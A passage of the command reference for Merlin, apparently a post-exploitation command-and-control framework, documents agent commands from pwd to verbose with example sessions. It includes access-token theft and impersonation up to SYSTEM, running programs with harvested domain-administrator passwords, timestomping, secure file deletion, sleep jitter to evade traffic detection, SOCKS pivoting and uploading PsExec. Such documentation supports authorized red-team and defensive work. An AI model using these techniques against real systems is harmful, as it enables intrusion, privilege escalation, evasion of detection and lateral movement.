     0       x64             [System Process]
     0       x64             System
   4       x64             Registry
   4       x64             smss.exe
   496     x64             csrss.exe
   496     x64             wininit.exe
   588     x64             csrss.exe
   588     x64     BUILTIN\Administrators  winlogon.exe
   596     x64             services.exe
<SNIP>
  2504    x64     DESKTOP-H39FR21\bob     sihost.exe
  736     x64     DESKTOP-H39FR21\bob     svchost.exe
  736     x64     DESKTOP-H39FR21\bob     svchost.exe
  1844    x64     DESKTOP-H39FR21\bob     taskhostw.exe
  736     x64     BUILTIN\Administrators  svchost.exe
  736     x64     NT AUTHORITY\SYSTEM     svchost.exe
  2396    x64     DESKTOP-H39FR21\bob     ctfmon.exe
  736     x64     NT AUTHORITY\LOCAL SERVICE      svchost.exe
  6376    x64     DESKTOP-H39FR21\bob     explorer.exe

pwd

Note

USAGE: pwd

The pwd command uses native Go to get and return the current working directory.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd
[-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Current working directory: C:\Users\Joe

quit

Note

USAGE: quit [-y]

The quit command is used to exit out of the Merlin Server application. This is also an alias for the exit command.

rev2self

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: rev2self

The rev2self command reverts the thread impersonation token to the process token. This command is an alias for the rev2self command. Leverages the RevertToSelf Windows API function.

References:

https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-reverttoself

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» rev2self
[-] Created job ZXKyKuIZru for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job ZXKyKuIZru for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+] Successfully reverted to self and dropped the impersonation token

rm

Note

USAGE: rm filePath

The rm command will remove or delete a file using native Go functions.

`` rm <file path>``

Merlin[agent][336154be-9ab9-4add-96e6-69c79f1ce77d]» rm C:\\Users\\rastley\\Downloads\\lyrics.txt
[-] Created job jwGxSVYMDY for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[-] Results job jwGxSVYMDY for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[+] successfully removed file C:\Users\rastley\Downloads\lyrics.txt

runas

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: runas DOMAIN\USER password program [arguments]

The runas command will run a program as another user. This is done using the CreateProcessWithLogonW Windows API call.

runas <Domain\\User> <Password> <program> [<program args>]

Merlin[agent][336154be-9ab9-4add-96e6-69c79f1ce77d]» runas ACME\\Administrator S3cretPassw0rd cmd.exe /c dir \\\\DC01.ACME.COM\\C$
[-] Created job PABQYrMLYO for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[-] Results job PABQYrMLYO for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[+] Created cmd.exe process with PID 2120

run

Note

USAGE: run program [arguments]

The run command is used to task the agent to run a program on the host and return STDOUT/STDERR. When issuing a command to an agent from the server, the agent will execute the provided binary file for the program you specified and also pass along any arguments you provide. It is important to note that program must be in the path. This allows an operator to specify and use a shell (e.g.,. cmd.exe, powershell.exe, or /bin/bash) or to execute the program directly WITHOUT a shell. For instance, ping.exe is typically in the host’s %PATH% variable on Windows and works without specifying cmd.exe. However, the ver command is not an executable in the %PATH% and therefore must be run from cmd.exe. Use the shell command if you want to use the operating system’s default shell directly.

Example using ping:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run ping 8.8.8.8
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job DTBnkIfnus for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job DTBnkIfnus

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=23ms TTL=54
Reply from 8.8.8.8: bytes=32 time=368ms TTL=54
Reply from 8.8.8.8: bytes=32 time=26ms TTL=54
Reply from 8.8.8.8: bytes=32 time=171ms TTL=54

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 23ms, Maximum = 368ms, Average = 147ms

Example running ver without cmd.exe:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job iOMPERNYGT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job iOMPERNYGT
exec: "ver": executable file not found in %PATH%

Example running ver with cmd.exe:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]

Shell Functions

Some commands and capabilities are components of a shell and can ONLY be used with a shell. For example, the dir command is a component of cmd.exe and is not its own program executable. Therefore, dir can only be used within the cmd.exe shell. In order to use the dir, you must provide executable of the shell environment where that command resides.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c dir

The pipe and redirection characters | , > , and < , are also functions of a shell environment. If you want to use them, you must do so WITH a shell. For Linux, an example would be:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»run bash -c "cat /etc/passwd | grep root"

Quoted Arguments

When running a command on an agent from the server, the provided arguments are passed to executable that was called. As long as there are no special characters (e.g., \ , & , ; , | , > , < etc.) the command will be processed fine.

For example, this command will work fine because it does not have any special characters:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe Get-Service -Name win* -Exclude WinRM

However, this command WILL fail because of the | symbol. The command will still execute, but will stop processing everything after the | symbol.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe Get-Service -Name win* -Exclude WinRM | fl

To circumvent this, enclose the entire argument in quotes. The outer most quotes will be removed when the arguments are passed. Any inner quotes need to be escaped. The argument can be enclosed in double quotes or single quotes. The command be executed in both of these ways:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe "Get-Service -Name win* -Exclude WinRM | fl"

OR

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe "Get-Service -Name \"win*\" -Exclude "WinRM" | fl"

OR

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe 'Get-Service -Name \'win*\' -Exclude 'WinRM' | fl'

Escape Sequence

Following along with the Quoted Arguments section above, the \ symbol will be interpreted as an escape sequence. This is beneficial because it can be used to escape other characters like the pipe symbol, | . However, it can work against you when working with Windows file paths and the arguments are not enclosed in quotes.

This command will fail because the \ itself needs to escaped. Notice the error message shows C:WindowsSystem32:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c C:\Windows\System32
[-]Created job hBYxRfaRBG for agent 21a0fc5f-14ad-4c43-b41e-57eab1feb0e1
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job hBYxRfaRBG
[+]'C:WindowsSystem32' is not recognized as an internal or external command,
operable program or batch file.
[!]exit status 1

To correctly issue the command either escape the \ or enclose the commands in quotes:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c dir C:\\Windows\\System32

sdelete

Note

USAGE: sdelete filePath

The sdelete command securely deletes a file.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sdelete /tmp/deleteMe.txt
[-] Created job ZfLruZBwbR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job ZfLruZBwbR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Securely deleted file: /tmp/deleteMe.txt

sessions

Note

USAGE: sessions

The sessions command is used to quickly list information about established agents from the main menu to include their status. The sessions command is available from any menu in the CLI.

AGENT GUID - A unique identifier for every running instance
TRANSPORT - The protocol the agent is communicating over
PLATFORM - The operating system and architecture the agent is running on
HOST - The hostname where the agent is running
USER - The username that hte agent is running as
PROCESS - The Agent’s process name followed by its Process ID (PID) in parenthesis
STATUS - The Agent’s communiction status of either active, delayed, or dead
LAST CHECKIN - The amount of time that has passed since the agent last checked in
NOTE - A free-form text area for operators to record notes about a specific agent; tracked server-side only

Merlin» sessions

               AGENT GUID              |    TRANSPORT    |   PLATFORM    |      HOST       |        USER         |                 PROCESS                  | STATUS | LAST CHECKIN |      NOTE
+--------------------------------------+-----------------+---------------+-----------------+---------------------+------------------------------------------+--------+--------------+-----------------+
  d07edfda-e119-4be2-a20f-918ab701fa3c | HTTP/2 over TLS | linux/amd64   | ubuntu          | rastley             | main(200769)                             | Active | 0:00:08 ago  | Demo Agent Here

sharpgen

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: sharpgen <C# code> [spawnto] [spawnto_args]

Warning

The .NET Core 2.1 SDK must be manually installed by the operator and the SharpGen executable must be built before the sharpgen command can be used

The sharpgen command leverages Ryan Cobb’s SharpGen project and the .NET Core 2.1 SDK to dynamically compile and execute .NET assemblies. After assembly is compiled, the same steps documented in execute-assembly are followed. SharpGen also leverages functionality from the SharpSploit project that can be called directly from this shargen command. This command uses a hardcoded output that places compiled executables to the Merlin root directory as sharpgen.exe.

For more granular control and additional configuration options, use the windows/x64/csharp/misc/SharpGen module.

SharpGen is git a submodule in the data/src/cobbr/SharpGen directory. From this directory, run the dotnet build -c release command to build the SharpGen.dll executable.

The sharpgen command is executed as: shaprgen <code> [<spawnto path> <spawnto args>]

The code positional argument is the .NET code you want to compile and execute. All code is automatically wraped in Console.WriteLine(); and it does not need to be included again. All other arguments are optional. The <spawnto path> argument is the process that will be started on the target and where the shellcode will be injected and executed. If a <spawnto path> is not provided, C:\WIndows\System32\dllhost.exe will be used. The <spawnto args> value is used as an argument when starting the spawnto process.

Note

Use \ to escape any characters inside of the code argument and use quotes to enclose the entire code argument (e.g., "new Tokens().MakeToken(\"RAstley\", \"\", \"P@ssword\")")

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sharpgen "new SharpSploit.Credentials.Tokens().GetSystem()"
[-] Created job oeOBXfBuPS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Results for c1090dbc-f2f7-4d90-a241-86e0c0217786 job oeOBXfBuPS

Getting system...
Impersonate NT AUTHORITY\SYSTEM...
Processes for NT AUTHORITY\SYSTEM: 25
Attempting to impersonate: NT AUTHORITY\SYSTEM
Attempting to impersonate: NT AUTHORITY\SYSTEM
Impersonated: NT AUTHORITY\SYSTEM
True

shell

Note

USAGE: shell command [arguments]

The shell command is used to task the agent to execute the provided arguments using the operating system’s default shell and return STDOUT/STDERR. On Windows the %COMSPEC% shell is used and if it is cmd.exe then the /c argument is used. For macOS and Linux, the /bin/sh shell is used with the -c argument. Use the run command to execute a program directly without invoking the shell.

Example using ver:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]

Shell Functions

Some commands and capabilities are components of a shell and can ONLY be used with a shell. For example, the dir command is a component of cmd.exe and is not its own program executable. Therefore, dir can only be used within the cmd.exe shell.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir

The pipe and redirection characters | , > , and < , are also functions of a shell environment.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell "cat /etc/passwd | grep root"

Quoted Arguments

When running a command on an agent from the server, the provided arguments are passed to executable that was called. As long as there are no special characters (e.g., \ , & , ; , | , > , < etc.) the command will be processed fine.

For example, this command will work fine because it does not have any special characters:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe Get-Service -Name win* -Exclude WinRM

However, this command WILL fail because of the | symbol. The command will still execute, but will stop processing everything after the | symbol.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe Get-Service -Name win* -Exclude WinRM | fl

To circumvent this, enclose the entire argument in quotes. The outer most quotes will be removed when the arguments are passed. The argument can be enclosed in double quotes or single quotes. All other quotes need to be escaped The command be executed in both of these ways:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe "Get-Service -Name win* -Exclude WinRM | fl"

OR

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe "Get-Service -Name \"win*\" -Exclude "WinRM" | fl"

OR

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe 'Get-Service -Name \'win*\' -Exclude 'WinRM' | fl'

Escape Sequence

Following along with the Quoted Arguments section above, the \ symbol will be interpreted as an escape sequence. This is beneficial because it can be used to escape other characters like the pipe symbol, | . However, it can work against you when working with Windows file paths and the arguments are not enclosed in quotes.

This command will fail because the \ itself needs to escaped. Notice the error message shows File Not Found:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir C:\Windows\System32
[-]Created job hBYxRfaRBG for agent 21a0fc5f-14ad-4c43-b41e-57eab1feb0e1
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job hBYxRfaRBG
[+]  Volume in drive C has no label.
 Volume Serial Number is AC57-CFB9

 Directory of C:\

File Not Found

To correctly issue the command either escape the \ or enclose the commands in quotes:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir C:\\Windows\\System32

skew

Note

USAGE: skew amount

The skew command is used to introduce a jitter or skew to the agent sleep time to keep traffic from occurring at exact time intervals.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» skew 5
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job lyYQdxckTY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

sleep

Note

USAGE: sleep duration

The sleep control type is used to change the amount of time that an agent will sleep before checking in again. The default is 30 seconds. The values provided to this command are written in a time format. For example, 30s is 30 seconds and 60m is 60 minutes. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the agent info command.

Peer-to-peer bind and reverse Agents can be configured with a negative sleep value (e.g., -10s). The actual amount doesn’t matter, just that it is negative. A negative sleep value prevents the peer-to-peer Agent from communicating on the network UNLESS it has a job. This means there are no status checkin messages back to the Server at a fixed interval.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sleep 15s
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job npMYqwASOD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

socks

Note

USAGE: socks {list | start [interface:]port agentID | stop [interface:]port agentID}

The socks command is used to start, stop, or list SOCKS5 listeners. There can only be one SOCKS5 listener per agent.

list
start
stop

list

Note

USAGE: socks list

The list command will list active SOCKS5 listeners per agent. If the SOCKS5 listener was configured to listen on all interfaces (e.g., 0.0.0.0), then the interface will be listed as [::]:.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» socks list
[i]
        Agent                           Interface:Port
==========================================================
c1090dbc-f2f7-4d90-a241-86e0c0217786    127.0.0.1:9050
7be9defd-29b8-46ee-8d38-0f3805e9233f    [::]:9051
6d8a3a59-e484-40b3-977b-530b351106a6    192.168.1.100:9053

start

Note

USAGE: socks start [interface:]port agentID

Warning

SOCKS5 listeners do not require authentication. Control access accordingly using firewall rules or SSH tunnels.

Note

In most cases you should only bind to the loopback adapter, 127.0.0.1, to prevent unintentionally exposing the port.

The start command will start a SOCKS5 listener for the current agent. This command takes an optional third argument of the interface and port, or just the port, that you want to bind the listener to. If a third argument is not provided the listener will default to listen on 127.0.0.1:9050.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» socks start
[-] Started SOCKS listener for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 on 127.0.0.1:9050

Merlin[agent][7be9defd-29b8-46ee-8d38-0f3805e9233f]» socks start 0.0.0.0:9051
[-] Started SOCKS listener for agent 7be9defd-29b8-46ee-8d38-0f3805e9233f on 0.0.0.0:9051

stop

Note

USAGE: socks stop [interface:]port agentID

The stop command will stop and remove the SOCKS5 listener for the current agent.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» socks stop
[-] Successfully stopped SOCKS listener for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 on 127.0.0.1:9055

ssh

Note

USAGE: ssh username password host:port program [args]

The ssh command connects to target host over the SSH protocol, executes the provided command, and returns the results.

Warning

This command is insecure by design because it does not validate the remote host’s public key

ssh <username> <password> <host:port> <program> [<args>]

Merlin[agent][fbef5b71-50bb-4d36-8a1b-2edf233eb578]» ssh rastley S3cretPassw0rd 192.168.100.123:22 /bin/sh -c \"ip address show eth0\"
[-] Created job pinIDJXDTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job pinIDJXDTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Connected to 192.168.100.123:22 at 192.168.100.123:22 with public key ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJytZseMSAsUU6OE2X4TC518fcF3yxgFYIgYp4+xT9pa9n5449gcsKT/eO3hx9NXAtyOHImg/Ff8kdWs52bU3SA=
0: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.70/24 brd 192.168.100.255 scope global dynamic noprefixroute eth0
       valid_lft 1781sec preferred_lft 1781sec

status

Note

USAGE: status

The status command is used to simply print if the Merlin Agent is Active, Delayed, or Dead to the screen. This becomes useful when you come back to Merlin after a couple of hours or if you want to see if your shell has died.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» status
Active
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»

steal_token

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: steal_token PID

The steal_token command steals and uses a Windows access token from another process. This command is an alias for the steal command.

The steal command obtains a handle to a remote process’ access token, duplicates it through the DuplicateTokenEx Windows API, and subsequently uses it to perform future post-exploitation commands.

References:

https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex”

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» steal_token 1320
[-] Created job xBDIToajju for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job xBDIToajju for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+] Successfully stole token from PID 1320 for user ACME\\Administrator with LogonID 0x39DF3C

token

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: token {make | privs | rev2self | steal | whoami} [options]

The token command is used to perform various operations with Windows access tokens. The following commands are available:

make
privs
rev2self
steal
whoami

Merlin keeps track of when a Windows access token was created or stolen. If there is a created or stolen token, it will be used with the following commands:

cd
download
execute-assembly
execute-pe
execute-shellcode
invoke-assembly
minidump
kill
ls
ps
rm
run
shell
touch
upload

The following commands will make the Windows CreateProcessWithTokenW API call:

execute-assembly
execute-pe
execute-shellcode
run
shell

make

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: token make DOMAIN\USERNAME PASSWORD

The make command is use to create a new Windows access token with the Windows LogonUserW API call. The token is created with a type 9 - NewCredentials logon type. This is the equivalent of using runas.exe /netonly.

Warning

Type 9 - NewCredentials tokens only work for NETWORK authenticated activities

Note

Commands such as token whoami will show the username for the process and not the created token due to the logon type, but will reflect the new Logon ID

token make <DOMAIN\\User> <password>

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token make ACME\\Administrator S3cretPassw0rd
[-] Created job piloeJbKPp for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job piloeJbKPp for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Successfully created a Windows access token for ACME\Administrator with a logon ID of 0xA703CF0

privs

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: token privs [PID]

The privs command enumerates the privilege associated with either the current process or a remote process. If the current process has a created or stolen, and process ID argument is not provided, then the applied token’s privileges will be enumerated.

token privs [<PID>]

Current process:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token privs
[-] Created job rBIkAAWkIr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job rBIkAAWkIr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Process ID 6892 access token integrity level: High, privileges (24):
        Privilege: SeIncreaseQuotaPrivilege, Attribute:
        Privilege: SeSecurityPrivilege, Attribute:
        Privilege: SeTakeOwnershipPrivilege, Attribute:
        Privilege: SeLoadDriverPrivilege, Attribute:
        Privilege: SeSystemProfilePrivilege, Attribute:
        Privilege: SeSystemtimePrivilege, Attribute:
        Privilege: SeProfileSingleProcessPrivilege, Attribute:
        Privilege: SeIncreaseBasePriorityPrivilege, Attribute:
        Privilege: SeCreatePagefilePrivilege, Attribute:
        Privilege: SeBackupPrivilege, Attribute:
        Privilege: SeRestorePrivilege, Attribute:
        Privilege: SeShutdownPrivilege, Attribute:
        Privilege: SeDebugPrivilege, Attribute: SE_PRIVILEGE_ENABLED
        Privilege: SeSystemEnvironmentPrivilege, Attribute:
        Privilege: SeChangeNotifyPrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_DEFAULT,SE_PRIVILEGE_ENABLED
        Privilege: SeRemoteShutdownPrivilege, Attribute:
        Privilege: SeUndockPrivilege, Attribute:
        Privilege: SeManageVolumePrivilege, Attribute:
        Privilege: SeImpersonatePrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_DEFAULT,SE_PRIVILEGE_ENABLED
        Privilege: SeCreateGlobalPrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_DEFAULT,SE_PRIVILEGE_ENABLED
        Privilege: SeIncreaseWorkingSetPrivilege, Attribute:
        Privilege: SeTimeZonePrivilege, Attribute:
        Privilege: SeCreateSymbolicLinkPrivilege, Attribute:
        Privilege: SeDelegateSessionUserImpersonatePrivilege, Attribute:

Remote process:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token privs 8156
[-] Created job BAKadQhkOc for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job BAKadQhkOc for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Process ID 8156 access token integrity level: Low, privileges (2):
        Privilege: SeChangeNotifyPrivilege, Attribute: SE_PRIVILEGE_ENABLED_BY_DEFAULT,SE_PRIVILEGE_ENABLED
        Privilege: SeIncreaseWorkingSetPrivilege, Attribute:

rev2self

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: token rev2self

The rev2self command leverages the RevertToSelf Windows API function and releases, or drops, any access token that have been created or stolen.

Note

There is an unregistered rev2self command alias that can be use from the agent root menu prompt

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token rev2self
[-] Created job ZXKyKuIZru for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job ZXKyKuIZru for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Successfully reverted to self and dropped the impersonation token

steal

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: token steal PID

The steal command obtains a handle to a remote process’ access token, duplicates it through the DuplicateTokenEx Windows API, and subsequently uses it to perform future post-exploitation commands.

Note

There is an unregistered steal_token command alias that can be use from the agent root menu prompt

token steal <PID>

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token steal 1320
[-] Created job xBDIToajju for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job xBDIToajju for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Successfully stole token from PID 1320 for user ACME\Administrator with LogonID 0x39DF3C

whoami

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: token whoami

The whoami command leverages the Windows GetTokenInformaion API call to return information about both the process and thread Windows access token. This information includes:

Username
Token ID
Logon ID
Privilege Count
Group Count
Token Type
Token Impersonation Level
Integrity Level

token whoami

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token whoami
[-] Created job UZXXIILnYD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job UZXXIILnYD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Process (Primary) Token:
        User: ACME\rastley,Token ID: 0x9CA475E,Logon ID: 0x26C3A6,Privilege Count: 24,Group Count: 14,Type: Primary,Impersonation Level: Anonymous,Integrity Level: High
Thread (Primary) Token:
        User: NT AUTHORITY\SYSTEM,Token ID: 0x9CC08EB,Logon ID: 0x3E7,Privilege Count: 28,Group Count: 4,Type: Primary,Impersonation Level: Impersonation,Integrity Level: System

touch

Note

USAGE: touch sourceFilePath destinationFilePath

The touch command is used to duplicate a timestamp from one file to another. This technique is also known as timestomp

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ls -la /tmp/deleteMe.txt
[-] Created job hEXYmbbGpW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job hEXYmbbGpW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] -rw-rw-r-- 1 rastley rastley 0 Aug  2 20:11 /tmp/deleteMe.txt

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» touch /etc/passwd /tmp/deleteMe.txt
[-] Created job Canvuiuoxj for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job Canvuiuoxj for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] File: /tmp/deleteMe.txt
Last modified and accessed time set to: 2020-09-16 07:05:18.245022776 -0400 EDT

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ls -la /tmp/deleteMe.txt
[-] Created job gTFZbcgeJW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job gTFZbcgeJW for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] -rw-rw-r-- 1 rastley rastley 0 Sep 16  2020 /tmp/deleteMe.txt

unlink

Note

USAGE: unlink childAgentID

The unlink command tasks the parent Agent to disconnect from the child peer-to-peer Agent. Depending on the child Agent type and configuration, the child Agent will remain running and listening for new connections.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» link list
[-] Created job pJpbkMqphK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-28T11:59:32Z
[-] Results of job pJpbkMqphK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-28T11:59:54Z
[+] Peer-to-Peer Links (1)
0. tcp-bind:e718067d-bf44-4715-aae3-8c1142114e3d:127.0.0.1:7777

Merlin[agent][d02fff99-e37d-4220-b430-a1c199ad3bcb]» unlink e718067d-bf44-4715-aae3-8c1142114e3d
[-] Created job uLhDoRVtPY for agent d02fff99-e37d-4220-b430-a1c199ad3bcb at 2023-07-28T12:00:27Z
[-] Results of job uLhDoRVtPY for agent d02fff99-e37d-4220-b430-a1c199ad3bcb at 2023-07-28T12:00:41Z
[+] Successfully unlinked from tcp-bind Agent e718067d-bf44-4715-aae3-8c1142114e3d and closed the network connection

upload

Note

USAGE: upload sourceFilePath destinationFilePath

The upload command is used to upload a file from the Merlin server to the host where the Merlin agent is running. The command is called by proving the location of the file on the Merlin server followed by the location to save the file on the host where the Merlin agent is running.

Note

Because \ is used to escape a character, file paths require two (e.g., C:\\Windows)

Note

Enclose file paths containing a space with quotation marks (e.g.,. "C:\\Windows\\Program Files\\")

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» upload C:\\SysinternalsSuite\\PsExec.exe C:\\Windows\\PsExec.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job vXJsZdZLPP for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

uptime

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: uptime

The uptime command uses the Windows API GetTickCount64 method to determine how long the host has been running.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» uptime
[-] Created job GJwrXttowA for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job GJwrXttowA for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
System uptime: 853h31m14.921s

verbose

Note

USAGE: verbose

The verbose command is a switch used to enable or disable verbose output to the console.

Merlin» verbose
[+] 2023-10-19T12:40:44Z Verbose output enabled
Merlin» verbose
[+] 2023-10-19T12:40:46Z Verbose output disabled
Merlin»